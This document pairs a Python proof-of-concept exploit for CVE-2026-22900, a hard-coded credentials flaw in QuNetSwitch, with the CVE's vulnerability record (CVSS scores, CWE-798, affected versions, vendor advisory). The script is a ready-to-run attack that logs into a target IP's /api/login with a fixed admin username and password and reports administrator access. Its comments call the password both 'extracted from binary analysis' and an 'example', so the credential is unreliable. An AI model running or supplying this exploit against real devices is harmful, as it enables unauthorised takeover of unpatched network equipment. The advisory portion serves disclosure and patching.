CVE-2026-22900

#!/usr/bin/env python3 # PoC for CVE-2026-22900 (Hard-coded Credentials) # This script demonstrates authentication using the hardcoded credentials. import requests import sys def exploit(target_ip): # Hardcoded credentials extracted from binary analysis username = "admin" # Example credential password = "quadmin_secret" # Example credential target_url = f"http://{target_ip}/api/login" print(f"[*] Attempting to login to {target_url} using hardcoded credentials...") payload = { "username": username, "password": password } try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! Logged in as Administrator.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python3 {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-22900", "sourceIdentifier": "[email protected]", "published": "2026-03-20T17:16:44.467", "lastModified": "2026-03-25T21:07:01.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use of hard-coded credentials vulnerability has been reported to affect QuNetSwitch. The remote attackers can then exploit the vulnerability to gain unauthorized access.\n\nWe have already fixed the vulnerability in the following version:\nQuNetSwitch 2.0.5.0906 and later"}, {"lang": "es", "value": "Se ha reportado una vulnerabilidad de uso de credenciales codificadas de forma rígida que afecta a QuNetSwitch. Los atacantes remotos pueden entonces explotar la vulnerabilidad para obtener acceso no autorizado.\n\nYa hemos corregido la vulnerabilidad en la siguiente versión:\nQuNetSwitch 2.0.5.0906 y posteriores"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qunetswitch:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.1.13077", "versionEndExcluding": "2.0.5.0906", "matchCriteriaId": "B43C9E36-951F-4020-B6E3-C7D4941ABC50"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-26-11", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}